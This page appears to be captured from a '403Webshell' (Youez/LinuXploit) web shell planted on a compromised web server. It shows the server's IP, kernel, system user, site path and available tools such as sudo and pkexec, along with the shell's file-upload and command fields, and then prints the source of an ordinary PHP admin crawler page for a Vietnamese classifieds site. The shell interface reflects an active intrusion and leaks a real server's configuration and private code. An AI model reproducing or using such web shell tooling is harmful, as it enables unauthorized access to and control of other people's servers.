403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/zomuaban.com/public_html/site/views/backend-old/crawl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/zomuaban.com/public_html/site/views/backend-old/crawl/autoget.php
<!DOCTYPE html>
<html lang="en">
  <head>
    
	<meta name="robots" content="no-cache" />
	<meta name="author" content="">
	<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
		
    <title>AloGap Admin - Autoget</title>
	
	<link href="<?=base_url('public/backend/css/crawler.css')?>" rel="stylesheet">
	<link href="<?=cnd('bootstrap/css/bootstrap.min.css')?>" 	rel="stylesheet">
	<link href="<?=cnd('css/font-awesome.min.css')?>" 			rel="stylesheet">
	
		
	<script src="<?=cnd('js/jquery.min.js')?>">	</script>
	<script src="<?=cnd('bootstrap/js/bootstrap.js')?>">	</script>
	<script src="<?=cnd('js/bootstrap.select.js')?>">	</script>
	<script src="<?=cnd('js/mainjs.js')?>">	</script>
	<script src="<?=cnd('js/util.js')?>">	</script>
	<script src="<?=cnd('js/jquery.cookie.js')?>">	</script>
	
	<script>
		var $conf = { base_url  : function($uri){
										if($uri)return "<?php echo base_url(); ?>" + $uri ;
										else return "<?php echo base_url(); ?>";
									}
					}
	</script>

  </head>

<body>	
	<div id="header" class="navbar navbar-default navbar-fixed-top">		
		<div class="container">
			<div class="navbar-header col-xs-11">
				<a class="hidden-xs navbar-brand" href="#">AloGap - Autoget</a>
										
				<form class="form-inline pull-left" role="form" style="margin-top:8px">
					<div class="form-group" style="display: inline;"> 
						<label>Start from </label>
						<input id="start-number-input" class="form-control" value="70" style="width:37px;padding:2px;display: inline;margin-left: 5px;" />
					</div>	  
					
					<button id="start-btn" class="btn btn-info active">
						<i class="fa fa-pause"></i>
						<small>Click to start ... </small>
					</button>				
				</form>		
				
			</div>
			
			<ul class="nav navbar-nav navbar-right">
				<li><a id="add-link-btn" href="#"  class="pull-right" style="font-size:33px;padding:8px;color:green">
					<i class="fa fa-plus-circle"></i>
				</a></li>
			</ul>
		</div>
		
		
		<div id="add-link-form" class="alert row" style="display:none;margin-bottom:0;background-color:#ddd">
			<div id="alert" style="margin:0 20px">
				<small class="text-danger">Chọn quốc gia, khu vực và danh mục</small>
			</div>
			<form class="form-inline pull-left" role="form" style="margin-top:8px;margin-left:20px">
								
				<div class="form-group btn-group">
					<button id="locationBtn" value="" type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
						<i class="fa fa-map-marker"></i>		
						<span class="text">Lựa chọn thành phố</span> 
						<span class="caret"></span>
					</button>

					<ul id="locationSelect" class="dropdown-menu text-left" role="menu" style="min-height:200px">		
						<li value="0"><a href="">Cả nước</a></li>
						<li value="70"><a href="">Sài Gòn</a></li>
						<li value="10"><a href="">Hà Nội</a></li>
						<li value="59"><a href="">Đà Nẵng</a></li>
						<li value="92"><a href="">Cần Thơ</a></li>
						<li value="35"><a href="">Hải Phòng</a></li>		
					</ul>
				</div>
				
				<div class="form-group btn-group selectBox">
					<?php $this->load->view('frontend/default/inc/cate-all', array('cateId'=>'all'))?>
				</div>
				
				<div class="form-group">
					<input id="link-input" class="form-control" onFocus="this.select()" placeholder="input link" style="min-width:280px" />
				</div>
						
				<button id="sumit-link-btn" class="btn btn-info">
					Submit
				</button>				
			</form>	
					
		</div>
		
		
	</div>
	
	
			
	<div id="list-link" class="container" style="margin-top:80px">
		<ol>			
			<?php 
				$index = 0;
				ksort($listcate);
				foreach($listcate as $citylist) {				
					foreach($citylist as $city => $value) {
						echo '<div id="city-'.$city.'" class="city-group divider"><h2>'.get_city_by_id($city)->name.'</h2>';
						foreach($value as $cate) { 						
							foreach($cate as $r) {
								$index++;  
								echo '<li id="'.$index.'" city="'.$city.'" class="limit-line one-line"><span cate="'.$r->cate.'" class="cate-name-line limit-line one-line"><b>'.$index . '</b> '.$r->name.'</span><span class="item-link" link="'.$r->link.'" style="width:400px;display:inline!important;float: left;margin-right: 20px;overflow: hidden;">'.$r->link.'</span></li>';
							}
						}
					echo '</div>';			
				}} ?>	
		</ol>
	</div>
	
<script>
var $index = 0;

$(document).ready(function(){ 

	// set cookie lastest item 
	var $currIndex = $.cookie('CURR_ITEM')?$.cookie('CURR_ITEM'): 1;
		$('#start-number-input').val($currIndex);
		

	var $addForm = $('#add-link-form');
	var $addBtn = $('#add-link-btn');
		$addBtn.click(function(e){
			if($addBtn.hasClass('active')){			
				$addBtn.find('i').removeClass('fa-angle-double-up');
				$addBtn.find('i').addClass('fa-plus-circle');
				
				$addBtn.removeClass('active');
				// Ẩn form đi
				$addForm.slideUp();
			}else{
				$addBtn.find('i').addClass('fa-angle-double-up');
				$addBtn.find('i').removeClass('fa-plus-circle');
				
				$addBtn.addClass('active');
				// Hiện form ra
				$addForm.slideDown();
			}
		})
		
	$('#locationSelect').select();
	
	$('#sumit-link-btn').click(function(e){
		e.preventDefault();
		
		$data = {};
		$data.link 		= $('#link-input').val();
		$data.city 		= $('#locationBtn').val();
		$data.cate		= $('#selectCate').val();
				
		$alert 			= $('#add-link-form #alert');		
		
		if($data.city=='')							{$alert.html('<small class="text-danger">Xác định thành phố</small>'); 			return; }
		if($data.cate=='all')						{$alert.html('<small class="text-danger">Chọn danh mục</small>'); 			return; }
		if($data.link=='')							{$alert.html('<small class="text-danger">Nhập link</small>'); 				return; }
		if($data.link.lastIndexOf('http://') < 0)	{$alert.html('<small class="text-danger">Đường link không hợp lệ</small>'); return; }
		
		
		$alert.html('<small class="text-success">Đang submit</small>');
		
		// submit to db
		jQuery.ajax({			
			type:"POST",
			url:$conf.base_url('backend/ajax/ajax_submit_crawlink'), 
			data:$data,		 
			success:function(result){
				result = $.parseJSON(result);				
				
				//append to html
				if(result.success){
					$alert.html('<small class="text-success">'+result.msg+'</small>');
					// append item to this
					if($('#'+$data.country).length==0){
						var html = '<div id="'+$data.country+'" class="country-group divider"><h2>'+$('#country-select').text()+'</h2>'
							html +=		'<li class="limit-line one-line"><span class="cate-name-line limit-line one-line">'+$('#selectCate').text()+'</span>'+$data.link+'</li>';
							html +='</div>';
							
						$('#list-link ol').append(html);
					}else{
						var html =	'<li class="limit-line one-line"><span class="cate-name-line limit-line one-line">'+$('#selectCate').text()+'</span>'+$data.link+'</li>';
						$('#'+$data.country).append(html);
					}
					//reset input
					$('#link-input').val('');
				}else{
					$alert.html('<small class="text-danger">'+result.msg+'</small>');
				}
				
			}
		});
		
		
	})
	
	
	var $curli	  		= 0;	
	var $startBtn 		= $('#start-btn');
		$startBtn.click(function(e){
			e.preventDefault();
			$curli = $('#start-number-input').val();			
			start_get_list($curli);
		})
	
})


start_get_list = function($index){
	var $curlItem = $('#list-link #' +$index );
	
	$('html, body').animate({ scrollTop:$('#list-link #' +$index).offset().top - 200}, 100);
	
	// active this item
	$curlItem.addClass('active-link');
	
	// Lưu vào cookie
	$.cookie('CURR_ITEM', $index) ;
	$('#start-btn').html('<i class="fa fa-pause"></i> Runing at '+$index+' ... ');
	
	// Nếu ko tìm được item này thì next
	if(!$curlItem){start_get_list($index++);}	
	
	var $data = {};		
	
		$data.city 		= $curlItem.attr('city');
		$data.cate		= $curlItem.find('.cate-name-line').attr('cate');		
		$data.link 		= $curlItem.find('.item-link').attr('link');
		
	console.log($data);
		
	jQuery.ajax({			
		type:"POST",
		url:$conf.base_url('backend/autoget/ajax_get_list_ad'), 
		data:$data,		 
		success:function(result){	
		
			$curlItem.removeClass('active-link');
			$curlItem.addClass('disable-link');			
	
			$index = parseInt($index);
			
			if($index<$("#list-link").find('li').length){
				try{
					result = $.parseJSON(result);
					if(result && result.success){
						$curlItem.find('.item-link').parent().append('<span><b> ' + result.msg+'</b></span>');
					}else{
						$curlItem.find('.item-link').parent().append('<span><b> Error parse json!!</b></span>');
					}
				}catch(e){
					$curlItem.find('.item-link').parent().append('<span><b> Catch: Exception parse json!!</b></span>');
				}
				
				$index++;
				start_get_list($index);				
			}else{
				Logger.debug('Xong rồi');
				$('#start-btn').html('<i class="fa fa-pause"></i> Stop at '+$index+' ... ');
				$('#start-btn').removeClass('active');
				
				//set lại cookie đầu tiên
				$.cookie('CURR_ITEM', 1) ;
			}	
		}  		 
	});
	
}

</script>

</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit